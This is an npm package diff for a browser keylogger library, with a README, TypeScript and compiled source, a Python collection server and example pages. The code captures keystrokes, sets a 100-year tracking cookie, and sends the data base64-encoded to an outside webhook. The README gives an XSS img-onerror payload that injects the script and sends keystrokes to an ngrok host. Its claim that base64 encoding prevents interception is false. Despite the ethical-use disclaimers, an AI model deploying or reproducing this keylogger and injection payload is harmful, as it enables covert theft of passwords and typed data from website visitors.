@mihnea.dev/keylogger.js 0.0.4

package/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2024 Mihnea-Octavian Manolache
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

package/README.md

@@ -0,0 +1,108 @@
+# Keylogger.js
+**Keylogger.js** is a lightweight JavaScript library for ethical hacking, penetration testing, and security research. It allows security professionals to capture keyboard events and send them securely to a specified webhook for analysis. Designed for ethical use only, this library serves as a tool for demonstrating vulnerabilities in applications and enhancing system security.
+
+## ⚠️ Disclaimer
+This library is intended **only for ethical purposes** such as security research and testing within authorized environments. Unauthorized use, including any malicious or illegal intent, is strictly prohibited. The author disclaims all responsibility for any misuse of this software.
+
+## Features
+- **Lightweight**: keylogger.js is a lightweight library that can be easily integrated into any web application.
+- **Secure**: All captured keyboard events are base64 encoded and sent securely to a specified webhook.
+- **Customizable**: Developers can customize the library to suit their needs, including changing the webhook URL and adding additional functionality.
+- **Modular**: Built using modern TypeScript for robust type safety and developer experience.
+
+## Installation
+You can install **Keylogger.js** via npm or yarn:
+
+```bash
+# Using bun
+bun install @mihnea.dev/keylogger.js
+# Using npm
+npm install @mihnea.dev/keylogger.js
+# Using yarn
+yarn add @mihnea.dev/keylogger.js
+```
+
+## Usage
+To use keylogger.js in your web application, you need to import the library and initialize it with your webhook URL:
+
+```typescript
+import Keylogger from '@mihnea.dev/keylogger.js';
+
+/* Initialize the Keylogger with your webhook */
+const _: Keylogger = new Keylogger('https://your-webhook-url.com');
+```
+
+Should you embed the script directly in your HTML file, you can initialize the library as follows:
+
+```html
+<script>
+    import Keylogger from 'https://unpkg.com/@mihnea.dev/keylogger.js/dist/index.js';
+    const keylogger = new Keylogger('https://your-webhook-url.com', false);
+    console.log('Keylogger initialized:', keylogger);
+</script>
+```
+
+## Configuration Options
+Keylogger.js supports several configuration options that can be passed to the constructor:
+- `webhook`: The URL to which the captured keyboard events will be sent.
+- `logAll`: A boolean flag indicating whether all keyboard events should be logged (default: `false`).
+
+## Example 
+This example demonstrates how to use Keylogger.js in a controlled testing environment by integrating the Python server, exposing it using Ngrok, and embedding the library into a vulnerable webpage to simulate XSS.
+
+### 1. Start the Python Webhook Server
+The Python server included in [`./examples/server.py`](./examples/server.py) listens for incoming requests from Keylogger.js. It decodes Base64-encoded payloads and logs them. To start the server, run the following command:
+
+```bash
+python3 examples/server.py
+```
+
+### 2. Expose the Server Using Ngrok
+To expose the Python server to the internet, use Ngrok. Run the following command to start an HTTP tunnel:
+
+```bash
+ngrok http 3000
+```
+
+### 3. Embed Keylogger.js in a Webpage
+This step demonstrates embedding Keylogger.js into a vulnerable webpage as part of an XSS simulation.
+
+```html
+<img src="invalid.jpg" onerror="
+    const script = document.createElement('script');
+    script.src = 'https://your-cdn-link.com/keylogger.js';
+    document.body.appendChild(script);
+    script.onload = () => {
+        const _ = new Keylogger('https://<random-id>.ngrok.io', true);
+    };
+">
+```
+
+### Observing Results:
+1. The Keylogger.js library captures keystrokes and sends them to the webhook.
+2. The Python server decodes the Base64-encoded payload and logs the captured keystrokes.
+```bash
+Decoded Payload: {"type":"keypress","value":"a","session":{...}}
+Parsed JSON:
+{
+    "type": "keypress",
+    "value": "a",
+    "session": {
+        "id": "unique-session-id",
+        "created_at": "2024-11-29T18:00:00Z",
+        "user_agent": "Mozilla/5.0",
+        "session_cookie": "master-kw-session"
+    }
+}
+```
+
+## Security Considerations
+- Ensure you use this library only in authorized and controlled environments.
+- Do not use this tool for any illegal or unauthorized activity.
+- Always notify and gain consent from stakeholders before testing.
+
+## Contributing
+Contributions are welcome! Feel free to open issues or submit pull requests to improve the library.
+
+## License
+This project is licensed under the MIT License. See the [LICENSE](./LICENSE) file for more information.

package/dist/index.cjs

@@ -0,0 +1,138 @@
+"use strict";
+var __defProp = Object.defineProperty;
+var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
+var __getOwnPropNames = Object.getOwnPropertyNames;
+var __hasOwnProp = Object.prototype.hasOwnProperty;
+var __export = (target, all) => {
+  for (var name in all)
+    __defProp(target, name, { get: all[name], enumerable: true });
+};
+var __copyProps = (to, from, except, desc) => {
+  if (from && typeof from === "object" || typeof from === "function") {
+    for (let key of __getOwnPropNames(from))
+      if (!__hasOwnProp.call(to, key) && key !== except)
+        __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
+  }
+  return to;
+};
+var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
+
+// src/index.ts
+var src_exports = {};
+__export(src_exports, {
+  default: () => src_default
+});
+module.exports = __toCommonJS(src_exports);
+
+// src/lib/Keylogger.ts
+var Keylogger = class {
+  /** Webhook URL to send captured data. */
+  webhook;
+  /** Current session information. */
+  session = null;
+  /** Array to store captured keystrokes. */
+  keys = [];
+  /**
+   * Constructs a new instance of the Keylogger.
+   *
+   * @param { string } webhook - URL of the webhook to send captured data.
+   * @param { boolean } [logAll=false] - Whether to log every keypress (`true`) or only on the "Enter" key (`false`).
+   */
+  constructor(webhook, logAll) {
+    this.webhook = webhook;
+    const masterSession = this.getOrCreateMasterSession();
+    this.initializeSession(masterSession);
+    logAll ? this.logAll() : this.logOnEnter();
+  }
+  /**
+   * Retrieves or creates a persistent "master-kw-cookie" cookie.
+   * @returns The value of the "master-kw-session" cookie.
+   */
+  getOrCreateMasterSession() {
+    const cookieName = "master-kw-session";
+    const existingCookie = document.cookie.split("; ").find((row) => row.startsWith(`${cookieName}=`));
+    if (existingCookie) {
+      return existingCookie.split("=")[1];
+    }
+    const newMasterSession = crypto.randomUUID();
+    const expires = /* @__PURE__ */ new Date();
+    expires.setFullYear(expires.getFullYear() + 100);
+    document.cookie = `${cookieName}=${newMasterSession}; expires=${expires.toUTCString()}; path=/`;
+    return newMasterSession;
+  }
+  /**
+   * Initializes the session with metadata.
+   * @param { string } session_cookie - The persistent session cookie value.
+   */
+  async initializeSession(session_cookie) {
+    this.session = await this.createSession(session_cookie);
+  }
+  /**
+   * Creates a new session object with metadata.
+   * @param { string } session_cookie - The persistent session cookie value.
+   * @returns { Promise<ISession> } A Promise resolving to the session object.
+   */
+  async createSession(session_cookie) {
+    const id = crypto.randomUUID();
+    const created_at = /* @__PURE__ */ new Date();
+    const user_agent = navigator.userAgent;
+    return { id, created_at, user_agent, session_cookie };
+  }
+  /**
+   * Sends captured data to the webhook along with the session information.
+   * NOTE: Data is encoded in Base64 to prevent interception.
+   *
+   * @param payload - The data payload to send.
+   */
+  async sendToWebhook(payload) {
+    if (!this.session) return;
+    const body = btoa(JSON.stringify({ ...payload, session: this.session }));
+    try {
+      const response = await fetch(this.webhook, {
+        method: "POST",
+        headers: {
+          "Content-Type": "text/plain"
+        },
+        body
+      });
+      if (!response.ok) {
+        console.error(btoa(response.statusText));
+      }
+    } catch (e) {
+      console.error(btoa(e.toString()));
+    }
+  }
+  /**
+   * Logs all keypress events and sends each key to the webhook.
+   */
+  logAll() {
+    document.addEventListener("keydown", (event) => {
+      const key = event.key;
+      this.keys.push(key);
+      this.sendToWebhook({
+        type: "keypress",
+        value: key
+      });
+    });
+  }
+  /**
+   * Logs all keystrokes until the "Enter" key is pressed, then sends the accumulated keys to the webhook.
+   */
+  logOnEnter() {
+    document.addEventListener("keydown", (event) => {
+      if (event.key === "Enter") {
+        const value = this.keys.join("");
+        this.keys = [];
+        this.sendToWebhook({
+          type: "enter",
+          value
+        });
+      } else {
+        this.keys.push(event.key);
+      }
+    });
+  }
+};
+
+// src/index.ts
+var src_default = Keylogger;

package/dist/index.d.cts

@@ -0,0 +1,71 @@
+/**
+ * Interface representing a session's metadata.
+ */
+interface ISession {
+    /** Unique identifier for the session. */
+    id: string;
+    /** Timestamp when the session was created. */
+    created_at: Date;
+    /** User agent string of the client browser. */
+    user_agent: string;
+    /** Persistent session cookie. */
+    session_cookie: string;
+}
+interface IPayload {
+    /** Type of event captured. */
+    type: "keypress" | "enter";
+    /** Value of the captured event. */
+    value: string;
+}
+
+/**
+ * Keylogger class to capture keyboard events and send them to a specified webhook.
+ */
+declare class Keylogger {
+    /** Webhook URL to send captured data. */
+    protected webhook: string;
+    /** Current session information. */
+    protected session: ISession | null;
+    /** Array to store captured keystrokes. */
+    protected keys: Array<string>;
+    /**
+     * Constructs a new instance of the Keylogger.
+     *
+     * @param { string } webhook - URL of the webhook to send captured data.
+     * @param { boolean } [logAll=false] - Whether to log every keypress (`true`) or only on the "Enter" key (`false`).
+     */
+    constructor(webhook: string, logAll?: boolean | undefined);
+    /**
+     * Retrieves or creates a persistent "master-kw-cookie" cookie.
+     * @returns The value of the "master-kw-session" cookie.
+     */
+    protected getOrCreateMasterSession(): string;
+    /**
+     * Initializes the session with metadata.
+     * @param { string } session_cookie - The persistent session cookie value.
+     */
+    protected initializeSession(session_cookie: string): Promise<void>;
+    /**
+     * Creates a new session object with metadata.
+     * @param { string } session_cookie - The persistent session cookie value.
+     * @returns { Promise<ISession> } A Promise resolving to the session object.
+     */
+    protected createSession(session_cookie: string): Promise<ISession>;
+    /**
+     * Sends captured data to the webhook along with the session information.
+     * NOTE: Data is encoded in Base64 to prevent interception.
+     *
+     * @param payload - The data payload to send.
+     */
+    protected sendToWebhook(payload: IPayload): Promise<void>;
+    /**
+     * Logs all keypress events and sends each key to the webhook.
+     */
+    protected logAll(): void;
+    /**
+     * Logs all keystrokes until the "Enter" key is pressed, then sends the accumulated keys to the webhook.
+     */
+    protected logOnEnter(): void;
+}
+
+export { type IPayload, type ISession, Keylogger as default };

package/dist/index.d.ts

@@ -0,0 +1,71 @@
+/**
+ * Interface representing a session's metadata.
+ */
+interface ISession {
+    /** Unique identifier for the session. */
+    id: string;
+    /** Timestamp when the session was created. */
+    created_at: Date;
+    /** User agent string of the client browser. */
+    user_agent: string;
+    /** Persistent session cookie. */
+    session_cookie: string;
+}
+interface IPayload {
+    /** Type of event captured. */
+    type: "keypress" | "enter";
+    /** Value of the captured event. */
+    value: string;
+}
+
+/**
+ * Keylogger class to capture keyboard events and send them to a specified webhook.
+ */
+declare class Keylogger {
+    /** Webhook URL to send captured data. */
+    protected webhook: string;
+    /** Current session information. */
+    protected session: ISession | null;
+    /** Array to store captured keystrokes. */
+    protected keys: Array<string>;
+    /**
+     * Constructs a new instance of the Keylogger.
+     *
+     * @param { string } webhook - URL of the webhook to send captured data.
+     * @param { boolean } [logAll=false] - Whether to log every keypress (`true`) or only on the "Enter" key (`false`).
+     */
+    constructor(webhook: string, logAll?: boolean | undefined);
+    /**
+     * Retrieves or creates a persistent "master-kw-cookie" cookie.
+     * @returns The value of the "master-kw-session" cookie.
+     */
+    protected getOrCreateMasterSession(): string;
+    /**
+     * Initializes the session with metadata.
+     * @param { string } session_cookie - The persistent session cookie value.
+     */
+    protected initializeSession(session_cookie: string): Promise<void>;
+    /**
+     * Creates a new session object with metadata.
+     * @param { string } session_cookie - The persistent session cookie value.
+     * @returns { Promise<ISession> } A Promise resolving to the session object.
+     */
+    protected createSession(session_cookie: string): Promise<ISession>;
+    /**
+     * Sends captured data to the webhook along with the session information.
+     * NOTE: Data is encoded in Base64 to prevent interception.
+     *
+     * @param payload - The data payload to send.
+     */
+    protected sendToWebhook(payload: IPayload): Promise<void>;
+    /**
+     * Logs all keypress events and sends each key to the webhook.
+     */
+    protected logAll(): void;
+    /**
+     * Logs all keystrokes until the "Enter" key is pressed, then sends the accumulated keys to the webhook.
+     */
+    protected logOnEnter(): void;
+}
+
+export { type IPayload, type ISession, Keylogger as default };

package/dist/index.js

@@ -0,0 +1,115 @@
+// src/lib/Keylogger.ts
+var Keylogger = class {
+  /** Webhook URL to send captured data. */
+  webhook;
+  /** Current session information. */
+  session = null;
+  /** Array to store captured keystrokes. */
+  keys = [];
+  /**
+   * Constructs a new instance of the Keylogger.
+   *
+   * @param { string } webhook - URL of the webhook to send captured data.
+   * @param { boolean } [logAll=false] - Whether to log every keypress (`true`) or only on the "Enter" key (`false`).
+   */
+  constructor(webhook, logAll) {
+    this.webhook = webhook;
+    const masterSession = this.getOrCreateMasterSession();
+    this.initializeSession(masterSession);
+    logAll ? this.logAll() : this.logOnEnter();
+  }
+  /**
+   * Retrieves or creates a persistent "master-kw-cookie" cookie.
+   * @returns The value of the "master-kw-session" cookie.
+   */
+  getOrCreateMasterSession() {
+    const cookieName = "master-kw-session";
+    const existingCookie = document.cookie.split("; ").find((row) => row.startsWith(`${cookieName}=`));
+    if (existingCookie) {
+      return existingCookie.split("=")[1];
+    }
+    const newMasterSession = crypto.randomUUID();
+    const expires = /* @__PURE__ */ new Date();
+    expires.setFullYear(expires.getFullYear() + 100);
+    document.cookie = `${cookieName}=${newMasterSession}; expires=${expires.toUTCString()}; path=/`;
+    return newMasterSession;
+  }
+  /**
+   * Initializes the session with metadata.
+   * @param { string } session_cookie - The persistent session cookie value.
+   */
+  async initializeSession(session_cookie) {
+    this.session = await this.createSession(session_cookie);
+  }
+  /**
+   * Creates a new session object with metadata.
+   * @param { string } session_cookie - The persistent session cookie value.
+   * @returns { Promise<ISession> } A Promise resolving to the session object.
+   */
+  async createSession(session_cookie) {
+    const id = crypto.randomUUID();
+    const created_at = /* @__PURE__ */ new Date();
+    const user_agent = navigator.userAgent;
+    return { id, created_at, user_agent, session_cookie };
+  }
+  /**
+   * Sends captured data to the webhook along with the session information.
+   * NOTE: Data is encoded in Base64 to prevent interception.
+   *
+   * @param payload - The data payload to send.
+   */
+  async sendToWebhook(payload) {
+    if (!this.session) return;
+    const body = btoa(JSON.stringify({ ...payload, session: this.session }));
+    try {
+      const response = await fetch(this.webhook, {
+        method: "POST",
+        headers: {
+          "Content-Type": "text/plain"
+        },
+        body
+      });
+      if (!response.ok) {
+        console.error(btoa(response.statusText));
+      }
+    } catch (e) {
+      console.error(btoa(e.toString()));
+    }
+  }
+  /**
+   * Logs all keypress events and sends each key to the webhook.
+   */
+  logAll() {
+    document.addEventListener("keydown", (event) => {
+      const key = event.key;
+      this.keys.push(key);
+      this.sendToWebhook({
+        type: "keypress",
+        value: key
+      });
+    });
+  }
+  /**
+   * Logs all keystrokes until the "Enter" key is pressed, then sends the accumulated keys to the webhook.
+   */
+  logOnEnter() {
+    document.addEventListener("keydown", (event) => {
+      if (event.key === "Enter") {
+        const value = this.keys.join("");
+        this.keys = [];
+        this.sendToWebhook({
+          type: "enter",
+          value
+        });
+      } else {
+        this.keys.push(event.key);
+      }
+    });
+  }
+};
+
+// src/index.ts
+var src_default = Keylogger;
+export {
+  src_default as default
+};

package/examples/index.html

@@ -0,0 +1,19 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+  <meta charset="UTF-8">
+  <meta name="viewport" content="width=device-width, initial-scale=1.0">
+  <title>Keylogger Test</title>
+</head>
+<body>
+  <h1>Keylogger Test Page</h1>
+  <p>Type something in this page to test the keylogger.</p>
+
+  <!-- Import Keylogger.js using unpkg -->
+  <script type="module">
+    import Keylogger from 'https://unpkg.com/@mihnea.dev/keylogger.js/dist/index.js';
+    const keylogger = new Keylogger('https://your-webhook-url.com', false);
+    console.log('Keylogger initialized:', keylogger);
+  </script>
+</body>
+</html>

package/examples/server.py

@@ -0,0 +1,96 @@
+"""
+Python Webhook Server for Keylogger Class
+
+This Python server acts as a webhook endpoint for the Keylogger class, 
+designed to listen for HTTP POST requests on http://0.0.0.0:3000. 
+It processes incoming keystroke data sent by the Keylogger, allowing 
+you to log, inspect, and respond to the payloads.
+
+   - The Keylogger sends JSON data containing keystrokes or session information.
+   - This server's POST handler (`do_POST`) decodes and prints the payload.
+   - If the payload is valid JSON, it logs the structured JSON to the console for inspection.
+
+NOTE: In a production environment, you should secure the server with HTTPS, and store the payload
+data securely in a database or log file. This server is for testing and debugging purposes only.
+
+Example Payload Sent by Keylogger:
+---------------------------------
+{
+    "type": "keypress",
+    "value": "a",
+    "session": {
+        "id": "unique-session-id",
+        "created_at": "2024-11-29T17:30:00Z",
+        "user_agent": "Mozilla/5.0",
+        "session_cookie": "master-kw-session"
+    }
+}
+
+How to Use:
+-----------
+1. Run this server using:
+   $ python3 examples/server.py
+
+    1.1. You can use ngrok to expose the server to the internet:
+        $ ngrok http 3000
+
+2. Configure your Keylogger instance to send keystroke data to the webhook URL:
+    e.g., new Keylogger("https://your-ngrok-url.ngrok.io")
+"""
+
+from http.server import BaseHTTPRequestHandler, HTTPServer
+import json, base64
+
+class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
+    def do_OPTIONS(self):
+        """
+        Handle preflight CORS requests.
+        """
+        self.send_response(200)
+        self.send_header("Access-Control-Allow-Origin", "*")
+        self.send_header("Access-Control-Allow-Methods", "POST, GET, OPTIONS")
+        self.send_header("Access-Control-Allow-Headers", "Content-Type")
+        self.end_headers()
+
+    def do_POST(self):
+        """
+        Handle POST requests with raw Base64 payloads.
+        """
+        # Read the content length from headers
+        content_length = int(self.headers.get('Content-Length', 0))
+        # Read the incoming POST data (Base64-encoded string)
+        base64_payload = self.rfile.read(content_length).decode('utf-8')
+
+        # Decode Base64-encoded payload
+        try:
+            decoded_payload = base64.b64decode(base64_payload).decode('utf-8')
+            print("Decoded Payload:", decoded_payload)
+
+            # Try parsing the decoded payload as JSON
+            try:
+                json_payload = json.loads(decoded_payload)
+                print("Parsed JSON Payload:", json.dumps(json_payload, indent=4))
+            except json.JSONDecodeError:
+                print("Decoded payload is not valid JSON.")
+        except Exception as e:
+            print("Error decoding Base64 payload:", str(e))
+
+        # Respond to the client
+        self.send_response(200)
+        self.send_header("Access-Control-Allow-Origin", "*")
+        self.send_header("Content-Type", "application/json")
+        self.end_headers()
+        self.wfile.write(b'{"status": "success"}')
+
+def run(server_class=HTTPServer, handler_class=SimpleHTTPRequestHandler):
+    """
+    Start the HTTP server on localhost:3000.
+    """
+    server_address = ('0.0.0.0', 3000)
+    httpd = server_class(server_address, handler_class)
+    print("Starting server on http://0.0.0.0:3000")
+    httpd.serve_forever()
+
+if __name__ == "__main__":
+    run()
+

package/package.json

@@ -0,0 +1,31 @@
+{
+    "name": "@mihnea.dev/keylogger.js",
+    "version": "0.0.4",
+    "author": "Mihnea Octavian Manolache <mihnea.dev@gmail.com> (https://github.com/mihneamanolache/)",
+    "repository": {
+        "type": "git",
+        "url": "git+https://github.com/mihneamanolache/keylogger.js.git"
+    },
+    "main": "./dist/cjs/index.js",
+    "module": "./dist/esm/index.js",
+    "devDependencies": {
+        "@types/bun": "latest",
+        "tsup": "^8.3.5"
+    },
+    "peerDependencies": {
+        "typescript": "^5.0.0"
+    },
+    "exports": {
+        "./package.json": "./package.json",
+        ".": {
+            "require": "./dist/index.cjs",
+            "import": "./dist/index.mjs"
+        }
+    },
+    "description": "A simple keylogger for the browser. Please use it responsibly!",
+    "scripts": {
+        "build": "rm -rf ./dist && tsup src/index.ts --format cjs,esm --dts --clean"
+    },
+    "type": "module",
+    "types": "./dist/index.d.ts"
+}

package/src/index.ts

@@ -0,0 +1,3 @@
+import Keylogger from "./lib/Keylogger";
+export default Keylogger;
+export * from "./lib/Keylogger.types";

package/src/lib/Keylogger.ts

@@ -0,0 +1,123 @@
+import type { IPayload, ISession } from "./Keylogger.types";
+
+/**
+ * Keylogger class to capture keyboard events and send them to a specified webhook.
+ */
+export default class Keylogger {
+    /** Webhook URL to send captured data. */
+    protected webhook:      string;
+    /** Current session information. */
+    protected session:      ISession | null = null;
+    /** Array to store captured keystrokes. */
+    protected keys:         Array<string> = [];
+
+    /**
+     * Constructs a new instance of the Keylogger.
+     *
+     * @param { string } webhook - URL of the webhook to send captured data.
+     * @param { boolean } [logAll=false] - Whether to log every keypress (`true`) or only on the "Enter" key (`false`).
+     */
+    constructor(webhook: string, logAll?: boolean | undefined) {
+        this.webhook = webhook;
+        const masterSession: string = this.getOrCreateMasterSession();
+        this.initializeSession(masterSession);
+        logAll ? this.logAll() : this.logOnEnter();
+    }
+
+    /**
+     * Retrieves or creates a persistent "master-kw-cookie" cookie.
+     * @returns The value of the "master-kw-session" cookie.
+     */
+    protected getOrCreateMasterSession(): string {
+        const cookieName: string = "master-kw-session";
+        const existingCookie: string | undefined = document.cookie
+            .split("; ")
+            .find((row) => row.startsWith(`${cookieName}=`));
+        if (existingCookie) {
+            return existingCookie.split("=")[1];
+        }
+        const newMasterSession: string = crypto.randomUUID();
+        const expires: Date = new Date();
+        expires.setFullYear(expires.getFullYear() + 100); 
+        document.cookie = `${cookieName}=${newMasterSession}; expires=${expires.toUTCString()}; path=/`;
+        return newMasterSession;
+    }
+
+    /**
+     * Initializes the session with metadata.
+     * @param { string } session_cookie - The persistent session cookie value.
+     */
+    protected async initializeSession(session_cookie: string): Promise<void> {
+        this.session = await this.createSession(session_cookie);
+    }
+
+    /**
+     * Creates a new session object with metadata.
+     * @param { string } session_cookie - The persistent session cookie value.
+     * @returns { Promise<ISession> } A Promise resolving to the session object.
+     */
+    protected async createSession(session_cookie: string): Promise<ISession> {
+        const id: string = crypto.randomUUID();
+        const created_at: Date = new Date();
+        const user_agent: string = navigator.userAgent;
+        return { id, created_at, user_agent, session_cookie };
+    }
+
+    /**
+     * Sends captured data to the webhook along with the session information.
+     * NOTE: Data is encoded in Base64 to prevent interception.
+     *
+     * @param payload - The data payload to send.
+     */
+    protected async sendToWebhook(payload: IPayload): Promise<void> {
+        if (!this.session) return;
+        const body: string = btoa(JSON.stringify({ ...payload, session: this.session }));
+        try {
+            const response: Response = await fetch(this.webhook, {
+                method: "POST",
+                headers: {
+                    "Content-Type": "text/plain",
+                },
+                body
+            });
+            if (!response.ok) {
+                console.error(btoa(response.statusText));
+            }
+        } catch (e: unknown) {
+            console.error(btoa((<Error>e).toString()));
+        }
+    }
+
+    /**
+     * Logs all keypress events and sends each key to the webhook.
+     */
+    protected logAll(): void {
+        document.addEventListener("keydown", (event: KeyboardEvent) => {
+            const key: string = event.key;
+            this.keys.push(key);
+            this.sendToWebhook({
+                type: "keypress",
+                value: key,
+            });
+        });
+    }
+
+    /**
+     * Logs all keystrokes until the "Enter" key is pressed, then sends the accumulated keys to the webhook.
+     */
+    protected logOnEnter(): void {
+        document.addEventListener("keydown", (event: KeyboardEvent) => {
+            if (event.key === "Enter") {
+                const value: string = this.keys.join("");
+                this.keys = []; 
+                this.sendToWebhook({
+                    type: "enter",
+                    value,
+                });
+            } else {
+                this.keys.push(event.key);
+            }
+        });
+    }
+}
+

package/src/lib/Keylogger.types.ts

@@ -0,0 +1,20 @@
+/**
+ * Interface representing a session's metadata.
+ */
+export interface ISession {
+    /** Unique identifier for the session. */
+    id:             string;
+    /** Timestamp when the session was created. */
+    created_at:     Date;
+    /** User agent string of the client browser. */
+    user_agent:     string;
+    /** Persistent session cookie. */
+    session_cookie: string;
+}
+
+export interface IPayload {
+    /** Type of event captured. */
+    type:   "keypress" | "enter";
+    /** Value of the captured event. */
+    value:  string;
+}

package/tsconfig.json

@@ -0,0 +1,27 @@
+{
+    "compilerOptions": {
+        // Enable latest features
+        "lib": ["ESNext", "DOM"],
+        "target": "ESNext",
+        "module": "ESNext",
+        "moduleDetection": "force",
+        "jsx": "react-jsx",
+        "allowJs": true,
+
+        // Bundler mode
+        "moduleResolution": "bundler",
+        "allowImportingTsExtensions": true,
+        "verbatimModuleSyntax": true,
+
+        // Best practices
+        "strict": true,
+        "skipLibCheck": true,
+        "noFallthroughCasesInSwitch": true,
+        "declaration": true,
+
+        // Some stricter flags (disabled by default)
+        "noUnusedLocals": false,
+        "noUnusedParameters": false,
+        "noPropertyAccessFromIndexSignature": false
+    }
+}